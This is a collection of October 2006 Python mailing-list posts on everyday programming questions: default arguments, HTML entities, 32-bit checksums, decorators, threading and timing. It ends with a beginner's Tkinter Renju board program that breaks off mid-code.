clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto) Date: 4 Oct 2006 12:28:42 -0700 Subject: CGI Tutorial Message-ID: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> I'm just building a Python CGI Tutorial and would appreciate any feedback from the many experts in this list. Regards, Clodoaldo Pinto Neto From bearophileHUGS at lycos.com Mon Oct 16 16:27:00 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 16 Oct 2006 13:27:00 -0700 Subject: string splitting In-Reply-To: <1161025958.201815.174020@m73g2000cwd.googlegroups.com> References: <1161025958.201815.174020@m73g2000cwd.googlegroups.com> Message-ID: <1161030420.789281.319080@h48g2000cwc.googlegroups.com> A pair of solutions: >>> s = "central_african_republic_province.txt" >>> s.rsplit("_", 1)[-1].split(".")[0] 'province' >>> import re >>> p = re.compile(r"_ ([^_]+) \.", re.VERBOSE) >>> s = """\ ... wisconsin_state.txt ... french_guiana_district.txt ... central_african_republic_province.txt""" >>> p.findall(s) ['state', 'district', 'province'] Bye, bearophile From apardon at forel.vub.ac.be Wed Oct 4 07:14:42 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 4 Oct 2006 11:14:42 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> Message-ID: On 2006-10-04, Georg Brandl wrote: > Antoon Pardon wrote: >> On 2006-10-04, Paul Rubin wrote: >>> Antoon Pardon writes: >>>> Now in this case you could start by assigning arg the value 1 and >>>> eliminate the if test. However that only works if you know the >>>> default value for the argument. What he seems to be asking for >>>> is if there is an object, (let as call it Default), that would >>>> make code like: >>>> >>>> def f(var=1): >>>> >>>> Equivallent to: >>>> >>>> def f(var=Default) >>>> if var is Default) >>>> var = 1 >>> >>> Oh, I see. Yes, the OP should just use a distinct default value >>> instead of 1. I usually do this with >>> >>> sentinel = object() >>> >>> def f(var=sentinel): >>> if var is sentinel: >>> # f was called without an arg >> >> But that can only work if you are the author of f. Take the >> following code: >> >> def myrepeat(obj, times = xxx): >> return itertools.repeat(obj, times) >> >> What value do I have to substitue for xxx, so that myrepeat >> will have the exact same function as itertools.repeat? > > There's no possible value. You'll have to write this like Yes, that was the point I wanted to make. > def myrepeat(obj, times=None): > if times is None: > return itertools.repeat(obj) > else: > return itertools.repeat(obj, times) > > Many functions implemented in C have this behavior. Which is a pity and IMO makes the documentation of these functions a bit problematic. Take the itertool.repeat documentation: repeat(object[, times]) Make an iterator that returns object over and over again. Runs indefinitely unless the times argument is specified. ... My first impression from this, is that it is possible to call this as follows: repeat(None, times = 5) But that doesn't work either. > For all functions written in Python, you can look up the default > value in the source. That wont help much if you would like something like the following: def fun(f): arg = Default try: arg = Try_Processing() except Nothing_To_Process: pass f(arg) -- Antoon Pardon From fredrik at pythonware.com Sat Oct 28 22:04:00 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 29 Oct 2006 03:04:00 +0100 Subject: unescape HTML entities In-Reply-To: References: Message-ID: Rares Vernica wrote: > How can I unescape HTML entities like " "? run it through an HTML parser. or use something like this: http://effbot.org/zone/re-sub.htm#strip-html (if you want to keep elements, change the regular expression in the re.sub call to "(?s)&#?\w+;") > I know about xml.sax.saxutils.unescape() but it only deals with "&", > "<", and ">". > > Also, I know about htmlentitydefs.entitydefs, but not only this > dictionary is the opposite of what I need, it does not have " ". >>> htmlentitydefs.entitydefs.get("nbsp") '\xa0' From osv at javad.com Tue Oct 24 12:50:58 2006 From: osv at javad.com (Sergei Organov) Date: Tue, 24 Oct 2006 20:50:58 +0400 Subject: Visibility against an unknown background References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com> Message-ID: Fredrik Lundh writes: > Sergei Organov wrote: > >> There is a better way to do it. Check if the toolkit has line drawing >> mode that XORs the line color with the background, then draw using this >> mode and white color of the line. > > which means that the selection looks like crap most of the time, The selection? What selection? Did the OP or me talk about selection? > and doesn't work at all on medium gray or b/w dithered patterns. Yes, every method has its pros and cons, but XOR is probably most efficient. > for most cases, "marching ants" is a much better approach (usually done > by drawing alternating stippled patterns). see e.g. Where "most cases" depends on application. I'd be very upset to see, say, 5-6 highly intersecting scientific plots on the same picture drawn using the "marching ants" approach. Besides, the marching ants doesn't work for printing :( -- Sergei. From annaraven at gmail.com Sat Oct 21 16:51:00 2006 From: annaraven at gmail.com (Anna Ravenscroft) Date: Sat, 21 Oct 2006 13:51:00 -0700 Subject: PSF Infrastructure has chosen Roundup as the issue tracker for Python development In-Reply-To: References: Message-ID: On 10/20/06, Brett Cannon wrote: > At the beginning of the month the PSF Infrastructure committee announced > that we had reached the decision that JIRA was our recommendation for the > next issue tracker for Python development. Realizing, though, that it was a > tough call between JIRA and Roundup we said that we would be willing to > switch our recommendation to Roundup if enough volunteers stepped forward to > help administer the tracker, thus negating Atlassian's offer of free managed > hosting. > > Well, the community stepped up to the challenge and we got plenty of > volunteers! In fact, the call for volunteers has led to an offer for > professional hosting for Roundup from Upfront Systems. The committee is > currently evaluating that offer and will hopefully have a decision made > soon. Once a decision has been made we will contact the volunteers as to > whom we have selected to help administer the installation (regardless of who > hosts the tracker). The administrators and python-dev can then begin > working towards deciding what we want from the tracker and its > configuration. > > Once again, thanks to the volunteers for stepping forward to make this > happen! > > -Brett Cannon > PSF Infrastructure committee chairman Interestingly enough, the quote of the day from Google on this email was: Never doubt that a small group of thoughtful, committed citizens can change the world; indeed, it's the only thing that ever has. Margaret Mead It just seems highly appropriate. I'm very glad we decided to go with Roundup. I've been impressed with its usability when I've had the opportunity to use it. -- cordially, Anna -- It is fate, but call it Italy if it pleases you, Vicar! From mail at microcorp.co.za Fri Oct 6 01:44:55 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Fri, 6 Oct 2006 07:44:55 +0200 Subject: tkinter newsgroup or mailing list References: Message-ID: <019c01c6e923$981b7020$03000080@hendrik> "Franz Steinhaeusler" wrote: > Hello NG, > > I'm asking this, (although I know a mailing list on gmane > gmane.comp.python.tkinter and there is so little traffic > compared to the mailing list of wxPython also mirrored > on gmane gmane.comp.python.wxpython. > > I cannot imagine, that there is no more interest > in exchanging opinions, or is this really the case? > > Is tkinter so simple, that no more questions appear? > Or is it simply so uninteresting? :) > > -- > Franz Steinhaeusler It is neither uninteresting, nor simple - see my very recent posts here... - Hendrik From martin at v.loewis.de Tue Oct 3 15:58:44 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 03 Oct 2006 21:58:44 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <7x1wppk21c.fsf@ruckus.brouhaha.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <7x1wppk21c.fsf@ruckus.brouhaha.com> Message-ID: <4522c0f4$0$29116$9b622d9e@news.freenet.de> Paul Rubin schrieb: > Ben Finney writes: >> The existing SourceForge system runs on non-free software, which is a >> significant differentiator from Bugzilla. > > The SourceForge software, at least in some versions, is free software. > See for example http://savannah.gnu.org for an instantiation, which > may be a fork. I never followed the saga much. It is a fork of an old version. Existence of this version hasn't helped a bit when we tried to get our data out of sf.net. It would have been different if we had used the open source version *and* hosted that ourselves. You only have a 100% guarantee that you get the data out of the tracker if the data live on your own disks (and you have good backup of these disks). Regards, Martin From mahall at ncsa.uiuc.edu Fri Oct 6 16:16:13 2006 From: mahall at ncsa.uiuc.edu (Matteo) Date: 6 Oct 2006 13:16:13 -0700 Subject: extract certain values from file with re In-Reply-To: References: Message-ID: <1160165773.205634.211490@c28g2000cwb.googlegroups.com> Fabian Braennstroem wrote: > Hi, > > I would like to remove certain lines from a log files. I had > some sed/awk scripts for this, but now, I want to use python > with its re module for this task. > > Actually, I have two different log files. The first file looks > like: > > ... > 'some text' > ... > > ITER I----------------- GLOBAL ABSOLUTE RESIDUAL -----------------I I------------ FIELD VALUES AT MONITORING LOCATION ----------I > NO UMOM VMOM WMOM MASS T EN DISS ENTH U V W P TE ED T > 1 9.70E-02 8.61E-02 9.85E-02 1.00E+00 1.61E+01 7.65E+04 0.00E+00 1.04E-01-8.61E-04 3.49E-02 1.38E-03 7.51E-05 1.63E-05 2.00E+01 > 2 3.71E-02 3.07E-02 3.57E-02 1.00E+00 3.58E-01 6.55E-01 0.00E+00 1.08E-01-1.96E-03 4.98E-02 7.11E-04 1.70E-04 4.52E-05 2.00E+01 ... Just a thought, but what about using exceptions - something like: for line in logfile: vals=line.split() try: no=int(vals[0]) # parse line as needed except ValueError: #first item is not a number pass # ignore line, or parse it separately Coming from C++, using exceptions in this way still feels a bit creepy to me, but I've been assured that this is very pythonic, and I'm slowly adopting this style in my python code. Parsing the line can be easy too: (umom,vmom,wmom,mass...) = map(float,vals[1:]) -matt From http Wed Oct 25 21:16:09 2006 From: http (Paul Rubin) Date: 25 Oct 2006 18:16:09 -0700 Subject: cleaner way to write this? References: Message-ID: <7xiri7q3l2.fsf@ruckus.brouhaha.com> Roy Smith writes: > Isn't this the kind of thing that the new-fangled "with" statement is > supposed to solve? 1) that would require rewriting the wx.TextEntryDialog to have an exit method. 2) It's not necessarily always the case that you want to destroy the dialog when the function returns. You might want to keep the dialog around for some reason. From robin at reportlab.com Wed Oct 25 12:25:32 2006 From: robin at reportlab.com (Robin Becker) Date: Wed, 25 Oct 2006 17:25:32 +0100 Subject: unsigned 32 bit arithmetic type? In-Reply-To: <7xu01s9yoz.fsf@ruckus.brouhaha.com> References: <453F3189.5000502@chamonix.reportlab.co.uk> <7xu01s9yoz.fsf@ruckus.brouhaha.com> Message-ID: <453F8FFC.60104@chamonix.reportlab.co.uk> Paul Rubin wrote: > Robin Becker writes: >>> type(nx.array([1,2,3],dtype=nx.uint32)[0]) >>> >> great, but do we have a pure python version? > > array.array('L', [1,2,3]) yes that works if @L is unsigned 32 bit. I guess >L is always 4 bytes. Part of my confusion comes from not realizing all the different 64 bit models. In python I can get away with the following def add32(x, y): "Calculate (x + y) modulo 2**32" return ((x&0xFFFFFFFFL)+(y&0xFFFFFFFFL)) & 0xffffffffL def calcChecksum(data): """Calculates TTF-style checksums""" if len(data)&3: data = data + (4-(len(data)&3))*"\0" sum = 0 for n in unpack(">%dl" % (len(data)>>2), data): sum = add32(sum,n) return sum but my tests sometimes look a bit odd. eg self.assertEquals(add32(10, -6), 4) self.assertEquals(add32(6, -10), -4&0xFFFFFFFFL) self.assertEquals(add32(0x80000000L, -1), 0x7FFFFFFF) self.assertEquals(add32(0x7FFFFFFF, 1), 0x80000000L) -- Robin Becker From johnjsal at NOSPAMgmail.com Sun Oct 1 13:35:52 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Sun, 01 Oct 2006 13:35:52 -0400 Subject: question about scope In-Reply-To: References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com> <451f52f1$0$1803$c3e8da3@news.astraweb.com> <4KITg.18490$Ij.7035@newssvr14.news.prodigy.com> <451ff246$0$30811$c3e8da3@news.astraweb.com> Message-ID: <451ffcc6$0$14734$c3e8da3@news.astraweb.com> Steve Holden wrote: > John Salerno wrote: >> James Stroud wrote: >> >> >>> This is because that list is an attribute of the class. Instances have a >>> reference of this class attribute, but it can be replaced by an >>> attribute of the instance with self (self is a reference to the instance >>> and not the class. This example might help: >> >> Ah, I see! So within my create_menubar() method, would it better to >> refer to menu_items as DataAccessFrame.menu_items? Or does it not matter >> in this case, since I'm not reassigning it per instance? > > I'd prefer to use a self-relative reference, though either works in your > example. That way the code will work for subclasses with different menus > too. Perhaps not relevant in your case, but a general point. > > regards > Steve Thanks! From f.braennstroem at gmx.de Sat Oct 7 06:09:03 2006 From: f.braennstroem at gmx.de (Fabian Braennstroem) Date: Sat, 7 Oct 2006 12:09:03 +0200 Subject: Scientific computing and data visualization. References: <1157574433.664189.217960@m73g2000cwd.googlegroups.com> <1157652641.877725.223880@h48g2000cwc.googlegroups.com> <45265EC2.1020100@gmx.de> Message-ID: Hi, * Carl Friedrich Bolz wrote: > bernhard.voigt at gmail.com wrote: >> A commonly used data analysis framework is root (http://root.cern.ch). >> It offers a object oriented C++ framework with all kind of things one >> needs for plotting and data visualization. It comes along with PyRoot, >> an interface making the root objects available to Python. >> Take a look at the root manual for examples, it also contains a section >> describing the use of PyRoot. > > I can definitively second that. ROOT is a bit hard to learn but very, > very powerful and PyRoot is really a pleasure to work with. It sounds interesting. Right now, I use matplotlib for 2D plotting and vtk for 3D. Do you have any experience and can give some recommendations? Greetings! Fabian From Leo.Kislov at gmail.com Wed Oct 25 18:02:14 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 25 Oct 2006 15:02:14 -0700 Subject: How to identify generator/iterator objects? In-Reply-To: References: <453FBCCE.8090306@sbcglobal.net> Message-ID: <1161813734.420234.83220@e3g2000cwe.googlegroups.com> Michael Spencer wrote: > Kenneth McDonald wrote: > > I'm trying to write a 'flatten' generator which, when give a > > generator/iterator that can yield iterators, generators, and other data > > types, will 'flatten' everything so that it in turns yields stuff by > > simply yielding the instances of other types, and recursively yields the > > stuff yielded by the gen/iter objects. > > > > To do this, I need to determine (as fair as I can see), what are > > generator and iterator objects. Unfortunately: > > > > >>> iter("abc") > > > > >>> def f(x): > > ... for s in x: yield s > > ... > > >>> f > > > > >>> f.__class__ > > > > > > So while I can identify iterators, I can't identify generators by class. > > > > Is there a way to do this? Or perhaps another (better) way to achieve > > this flattening effect? itertools doesn't seem to have anything that > > will do it. > > > > Thanks, > > Ken > I *think* the only way to tell if a function is a generator without calling it > is to inspect the compilation flags of its code object: > > >>> from compiler.consts import CO_GENERATOR > >>> def is_generator(f): > ... return f.func_code.co_flags & CO_GENERATOR != 0 > ... > >>> def f1(): yield 1 > ... > >>> def f2(): return 1 > ... > >>> is_generator(f1) > True > >>> is_generator(f2) > False > >>> It should be noted that this checking is completely irrelevant for the purpose of writing flatten generator. Given def inc(n): yield n+1 the following conditions should be true: list(flatten([inc,inc])) == [inc,inc] list(flatten([inc(3),inc(4)]) == [4,5] -- Leo From eurleif at ecritters.biz Wed Oct 25 08:44:07 2006 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Wed, 25 Oct 2006 08:44:07 -0400 Subject: Sending Dictionary via Network In-Reply-To: References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com> <453e9ba0$0$3276$426a34cc@news.free.fr> <1161732155.264210.77250@f16g2000cwb.googlegroups.com> Message-ID: <453f5b4b$0$13814$4d3efbfe@news.sover.net> Frithiof Andreas Jensen wrote: >> "mumebuhi" wrote in message > news:1161732155.264210.77250 at f16g2000cwb.googlegroups.com... >> The simplejson module is really cool and simple to use. This is great! > > JUST what I need for some configuration files!! > Thanks for the link (die, configparse, dieee). I would personally use YAML for configuration files instead of JSON, because it's more human-readable. But it's a matter of personal preference. From sjdevnull at yahoo.com Sat Oct 21 18:16:44 2006 From: sjdevnull at yahoo.com (sjdevnull at yahoo.com) Date: 21 Oct 2006 15:16:44 -0700 Subject: Decorators and how they relate to Python - A little insight please! In-Reply-To: <1161378810.977987.88220@m7g2000cwm.googlegroups.com> References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com> <1161322723.451426.305480@m7g2000cwm.googlegroups.com> <1161378810.977987.88220@m7g2000cwm.googlegroups.com> Message-ID: <1161469003.945889.46040@m7g2000cwm.googlegroups.com> Jerry wrote: > Thanks to everyone that resonded. I will have to spend some time > reading the information that you've provided. > > To Fredrik, unfortunately yes. I saw the examples, but couldn't get my > head wrapped around their purpose. You're probably looking at the newfangled @decorator syntax. Things were a lot clearer when decorators were called explicitly: class foo(object): def bar(self): ... bar = classmethod(bar) That makes it a lot more obvious that classmethod is simply a higher-order function (that is, it takes a function as an argument and returns a function). It is equivalent to the newer: class foo(object): @classmethod def bar(self): ... From robin at reportlab.com Thu Oct 26 04:52:50 2006 From: robin at reportlab.com (Robin Becker) Date: Thu, 26 Oct 2006 09:52:50 +0100 Subject: unsigned 32 bit arithmetic type? In-Reply-To: <1161801520.091880.290030@e3g2000cwe.googlegroups.com> References: <453F4A52.3050200@v.loewis.de> <1161797145.981948.123730@b28g2000cwb.googlegroups.com> <1161801520.091880.290030@e3g2000cwe.googlegroups.com> Message-ID: <45407762.8090404@chamonix.reportlab.co.uk> sturlamolden wrote: > Robin Becker wrote: > >> it's probably wonderful, but I don't think I can ask people to add numpy to the >> list of requirements for reportlab :) > ........ > This was Matlab, but the same holds for Python and NumPy. The overhead > in the first code sniplet comes from calling the interpreter inside a > tight loop. That is why loops are the root of evilness when doung CPU > bound tasks in an interpreted language. I would think that 9 out of 10 > tasks most Python users think require a C extension is actually more > easily solved with NumPy. This is old knowledge from the Matlab > community: even if you think you need a "MEX file" (that is, a C > extension for Matlab), you probably don't. Vectorize and it will be > fast enough. > I think you're preaching to the converted. The very first serious thing I did in python involved a generational accounting model calculation that was translated from matlab into Numeric/python. It ran about 10 times faster than matlab and about 5 times faster than a matlab compiler. -- Robin Becker From pat at nystromengineering.com Tue Oct 17 19:34:10 2006 From: pat at nystromengineering.com (Pat Nystrom) Date: Tue, 17 Oct 2006 16:34:10 -0700 Subject: Boa Constructor error: "No section:editor" Message-ID: <45356872.7050408@nystromengineering.com> Hi, In case you haven't solved this already, the problem seems to be an empty or corrupt config file - \documents and settings\username\.boa-constructor\Explorer.msw.cfg. (at least under windows - don't know where it'd be in linux/elsewhere) When I deleted it, the next invocation of boa worked fine. Good luck! Pat From gerrit at nl.linux.org Sat Oct 21 18:23:00 2006 From: gerrit at nl.linux.org (Gerrit Holl) Date: Sun, 22 Oct 2006 00:23:00 +0200 Subject: A Comparison Of Dynamic and Static Languiges In-Reply-To: References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com> Message-ID: <20061021222300.GA5767@topjaklont.student.utwente.nl> On 2006-10-21 20:41:42 +0200, Scott M. wrote: > Also, widely posting your real (unaltered) email address in forums like this > is a sure way to get noticed by spammers. This newsgroup is mirrored by a mailing-list, so many people use their real address. The solution to spam is spamfiltering (spambayes), not hiding ones address on the internet. Gerrit. From fredrik at pythonware.com Fri Oct 27 11:26:29 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 27 Oct 2006 17:26:29 +0200 Subject: How the event list be sent to EventManager? In-Reply-To: <1161960779.274517.116730@i3g2000cwc.googlegroups.com> References: <1161844141.057735.252310@e3g2000cwe.googlegroups.com> <1161960779.274517.116730@i3g2000cwc.googlegroups.com> Message-ID: steve wrote: > Can an argument to reference an object's attribute?? sorry, cannot parse that sentence. the arguments to a method are objects, and objects have attributes. why do you find this surprising? From jdlists at gmail.com Wed Oct 18 23:12:30 2006 From: jdlists at gmail.com (jdlists at gmail.com) Date: 18 Oct 2006 20:12:30 -0700 Subject: Converting existing module/objects to threads In-Reply-To: <1161225648.047155.163200@h48g2000cwc.googlegroups.com> References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> <1161225648.047155.163200@h48g2000cwc.googlegroups.com> Message-ID: <1161227550.254069.254980@e3g2000cwe.googlegroups.com> martdi wrote: > jdlists at gmail.com wrote: > > I have inheirted some existing code, that i will explain in a moment, > > have needed to extend and ultimately should be able to run in threads. > > I've done a bunch of work with python but very little with threads and > > am looking for some pointers on how to implement, and if the lower > > level modules/objects need to be rewritten to use threading.local for > > all local variables. > > > > I have a module that communicates with a hardware device, which reads > > data off of sensors, that can only talk with one controller at a time. > > The controller (my module) needs to (in its simplest form) init, > > configure the device, request data, and write out xml, sleep, repeat. > > > > The new request is that the device needs to be queried until a > > condition is true, and then start requesting data. So an instance of a > > controller needs to be deadicated to a hardware device forever, or > > until the program ends....which ever comes first. > > > > This currently works in a non-threaded version, but only for one device > > at a time, there is a need to create a single windows(yeach) service > > that talks to many of these devices at once. I don't need worker > > threads that handle seperate portions of the entire job, i need a > > single application to spawn multiple processes to run through the > > entire communication from configure to report, sleep until the next > > interval time and run again. The communication could last from 1 > > minute to 10 minutes before it ends. > > > > > > Here is the code layout in pseudocode. > > > > module.Object - controller.Main - handles all socket communications > > > > class subcontroller(controller.Main): > > def __init__(self,id,configurationFile): > > controller.Main.__init__(self) > > // instantiate variables and local objects that handle > > configuration, logic and data output > > > > def configure(self,configurationFile): > > //read configurationFile and configure device > > > > def process(self): > > while 1: > > //based on configuration file, query the device until condition > > is true and then write xml, sleep until time to repeat and run again. > > > > within controller there are 5 objects and subcontroller is a sinlge > > object that loads other objects from the inherited controller.System > > > > I'm trying to figure out how difficult it is going to be to convert > > this to a threaded application. The original controller.Main is built > > to talk to devices in series, never in parallel. so no objects are > > considered to be thread safe, but no instance of any of the objects > > should need to share resources with any other instance of teh same > > object. they would all have unique configuration files and talk to > > devices on unique ip/ports. > > > > on a unix system, forking,while potentially not optimal, would be a > > fine solution, unfortunantely this needs to run on windows. > > > > I know i have left out many details, but hopefully this is enough to at > > least enable some kind soles to lend an opinnion or two. > > > > many thanks > > jd > > Taking a look at asyncore could be worthwhile, but if you want to > implement it with threads, you may be able to do it this way: > > In your main file, from where you start the program, let's call it > main: > > main(self) > Load Required configuration > spawn threads (1 for each controller) > define a queue object from module queue.queue used for communication > with threads > enter an infinite loop that checks for the conditions > once conditions are met, notify the proper thread > > > class ControllerThread(threading.Thread): > def __init__(self): > define a queue here, to process messages from the main > call threading.Thread.__init__(self) > > define method to load config for thread objects > (you might want to pass an argument to init to load your configs > from a file) > (you might also want to pass the queue of the main program to the > thread to send it messages) > define methods to post messages to the queue like read, send to the > machine, stop, ... > > define the run method that is what will be called when you start > your thread. > this method should enter an infinite loop that will check if > something has to be done (check in the queue). > > > > > > hope this might help you > good luck thanks for the comments. the ControllerThread already extends a class. does this cause problems with classes that must extent threading.Thread. Normally it should not matter, but with threads i'm unsure. Should i just instantiate the object that i'm normally extending in the ControllerThread.__init__, and call it from the self.classthatusedtoextend.method(), or does it not matter. again, thanks. From deets at nospam.web.de Wed Oct 11 10:43:34 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Wed, 11 Oct 2006 16:43:34 +0200 Subject: hundreds of seconds? References: <1160577496.366622.310080@i3g2000cwc.googlegroups.com> Message-ID: <4p4e8mFgj24eU1@uni-berlin.de> eur.van.andel at gmail.com wrote: > Hi all > > How can I access partial seconds on the system clock? > > I measure air speed and water flow in a heat-exchanger test stand and > count pulses from both water meter and air speed meter. I divide the > amount of these counts over a certain interval with the time of that > interval. Since I only have seconds, I need to wait 100 seconds for may > calculation is I want a precision of 1%. > > The radiator fan that I use can't stand these long intervals, 'cause I > run it with 24V and 50 Amps to get decent airflow (10m/s) through my > heat exchanger. > > Again: how do I get the hundreds of seconds from the system clock? > > In Pascal it was: GetTime( Hr1, Min1, Sec1, cSec1); (yes, I'm that > old). time.time() returns the system time in seconds since the epoch (1970). The fractional part is relevant. However, be aware that your OS may limit the precision here. I'm not sure, but I think Windows for example doesn't get faster than 10th or 100th of a second. For more precise timing, you might need a special library/extension that works with the cpu timer register or something like that. Diez From mpeters42 at gmail.com Wed Oct 4 01:05:46 2006 From: mpeters42 at gmail.com (Mark Peters) Date: 3 Oct 2006 22:05:46 -0700 Subject: python html rendering In-Reply-To: References: Message-ID: <1159938346.008753.167310@i42g2000cwa.googlegroups.com> > Hi, Im looking for a way to display some python code > in html: with correct indentation, possibly syntax hiliting, dealing > correctly with multi-line comment, and... generating valid html code if > the python code itself deals with html (hence manipulates tag litterals. > Thanks for your help! I haven't used it, but these seem promising: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/252170 http://silvercity.sourceforge.net/ Hope it helps. From wildemar at freakmail.de Wed Oct 4 05:34:29 2006 From: wildemar at freakmail.de (Wildemar Wildenburger) Date: Wed, 04 Oct 2006 11:34:29 +0200 Subject: What kind of program is this In-Reply-To: References: <1159938713.660421.276860@m7g2000cwm.googlegroups.com> Message-ID: <45238025.9000403@freakmail.de> Fredrik Lundh wrote: > John Smith wrote: >> what kind of program is this? > > http://en.wikipedia.org/wiki/JAPH You computer guys crack me up! :D wildemar From dhhoa1 at student.monash.edu Mon Oct 30 00:15:26 2006 From: dhhoa1 at student.monash.edu (Hieu Hoang) Date: Mon, 30 Oct 2006 16:15:26 +1100 Subject: Very simple request about argument setting. Message-ID: Hi, The shuf() function returns two values: x and foo. The command >>> x,foo,bar=shuf(1,2,3,4,5,6,7,8) becomes >>> x,foo,bar=x,foo So, this command assigns 2 values (x and foo) to 3 variables (x, foo and bar), which raises that exception. I'm not sure why python says "need more than 2 values to unpack" not "need 3 values" though. Hope this help, Rooy From FS.Jason at gmail.com Thu Oct 26 08:39:42 2006 From: FS.Jason at gmail.com (FS.Jason at gmail.com) Date: 26 Oct 2006 05:39:42 -0700 Subject: my first software Message-ID: <1161866381.967287.30490@m7g2000cwm.googlegroups.com> I am a beginner of programming and started to learn Python a week ago. last 3 days, i write this little tool for Renju.if you have any advice on my code,please tell me ps:sorry for my poor english bow. #!C:\\Python25 # -*- coding: GBK -*- from Tkinter import * import os import tkFileDialog import sys import re from tkMessageBox import * import win32clipboard root = Tk() interator = 0 done = [] donebac = [] mark = [] step = [] beensaved = 0 code = '' pastes = '' mainname = '' button_frame = Frame(root,width= 640,height = 50) button_frame.pack(fill = BOTH) class main_frame(Frame): def __init__( self, master = None): Frame.__init__( self ,master) self.master.geometry( '640x685') self.master.title(u'PALALA speeder-x?') self.pack(expand = YES, fill = BOTH) self.myCanvas = Canvas(self, bg = '#f8dc59') self.myCanvas.pack(expand = YES, fill = BOTH) for x in range(40, 640, 40 ): for y in range(40,640,40): self.myCanvas.create_oval(x,y,x,640-y,fill = 'black') self.myCanvas.create_oval(x,y,640-x,y,fill = 'black') #creat 5 masks self.myCanvas.create_oval(155,155,165,165,fill = 'black', tags = 'circle') self.myCanvas.create_oval(155,475,165,485,fill = 'black', tags = 'circle') self.myCanvas.create_oval(475,155,485,165,fill = 'black', tags = 'circle') self.myCanvas.create_oval(475,475,485,485,fill = 'black', tags = 'circle') self.myCanvas.create_oval(315,315,325,325,fill = 'black', tags = 'circle') for x in range(40,640,40): self.myCanvas.create_text(15, x, text = 16-x/40 ,font = 'Times 16') for x in range(40,640,40): charlist = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'] self.myCanvas.create_text(x, 625,text =charlist[x/40-1],font = 'Times 16') mainframe = main_frame(master = root) def clickevent(event): global interator global done global mark global step global beensaved if 20 < event.x < 620 and 20 < event.y < 620: event.x = event.x + 20 - (event.x + 20) % 40 event.y = event.y + 20 - (event.y + 20) % 40 charlist = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'] for item in done: if item == (charlist[event.x / 40 -1], 16 - event.y / 40): return print item done.append((charlist[event.x / 40 -1], 16 - event.y / 40)) if (interator % 2) == 0: mark.append(mainframe.myCanvas.create_oval(event.x-15, event.y-15, event.x+15, event.y+15, fill = 'black', tags = 'circle')) step.append(mainframe.myCanvas.create_text(event.x, event.y, text = interator + 1, fill = 'red', font = 'Simsun 16')) else: mark.append(mainframe.myCanvas.create_oval(event.x-15, event.y-15, event.x+15, event.y+15, fill = 'white', tags = 'circle')) step.append(mainframe.myCanvas.create_text(event.x, event.y, text = interator + 1, fill = 'red', font = 'Simsun 16')) interator = interator + 1 print done beensaved = 0 def undo(event): global interator global mark global step global done global beensaved if interator > 0: mainframe.myCanvas.delete(mark[interator - 1]) del mark[interator - 1] mainframe.myCanvas.delete(step[interator - 1]) del step[interator - 1] del done[interator - 1] interator = interator - 1 beensaved = 0 def savefile(): global done global donebac global mainname global beensaved if done == []: info_blank() return if beensaved == 0 and mainname == '': filename = tkFileDialog.asksaveasfilename(filetypes = [('savefile','*.txt')], initialdir = './') else: filename = mainname s = '' for i in range (0,len(done) - 1): s = s +str(done[i][0]) + str(done[i][1]) + '\n' s = s + str(done[len(done) - 1][0]) + str(done[len(done) - 1][1]) if filename: filename = re.sub('.txt','',filename) savefile = open(filename + '.txt', 'w') savefile.write(s) savefile.close() beensaved = 1 mainname = filename donebac = done def saveasfile(): global done global donebac global mainname global beensaved if done == []: info_blank() return filename = tkFileDialog.asksaveasfilename(filetypes = [('savefile','*.txt')], initialdir = './') s = '' for i in range (0,len(done) - 1): s = s +str(done[i][0]) + str(done[i][1]) + '\n' s = s + str(done[len(done) - 1][0]) + str(done[len(done) - 1][1]) if filename: filename = re.sub('.txt','',filename) savefile = open(filename + '.txt', 'w') savefile.write(s) savefile.close() beensaved = 1 mainname = filename donebac = done def stringTocode(s): global mark global step global done global interator global mainname global beensaved s = s.upper() mistake1 = re.compile('[P-Z]+') if mistake1.search(s): showinfo(u'????',u'??????A-O,???????^^') return mistake2 = re.compile('[A-O]+[A-O]+') if mistake2.search(s): showinfo(u'????',u'ft,????????????!!') return mistake3 = re.compile('[A-O]+0') if mistake3.search(s): showinfo(u'????',u'?????0?????^^') return s = re.sub(' ','',s) s = re.sub('[0-9]+[0-9]*[0-9]*[,.]+','',s) s = re.sub('\W','',s) #s = re.sub('[a-z]','[A-Z]', s) search = re.compile('[A-O]+[0-9]+[0-5]*') s = search.findall(s) interator = len(s) charlist = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'] for i in range (0, len(s)): x = s[i][0] if len(s[i]) == 3: y = int(s[i][1] + s[i][2]) done.append((x , y)) else: y = int(s[i][1]) done.append((x , y)) for j in range(0, len(charlist)): if x == charlist[j]: x = j x = (x + 1) * 40 y = (16 - y) * 40 if i%2 == 0: mark.append(mainframe.myCanvas.create_oval(x-15, y-15, x+15, y+15, fill = 'black', tags = 'circle')) step.append(mainframe.myCanvas.create_text(x, y, text = i + 1, fill = 'red', font = 'Simsun 12')) else: mark.append(mainframe.myCanvas.create_oval(x-15, y-15, x+15, y+15, fill = 'white', tags = 'circle')) 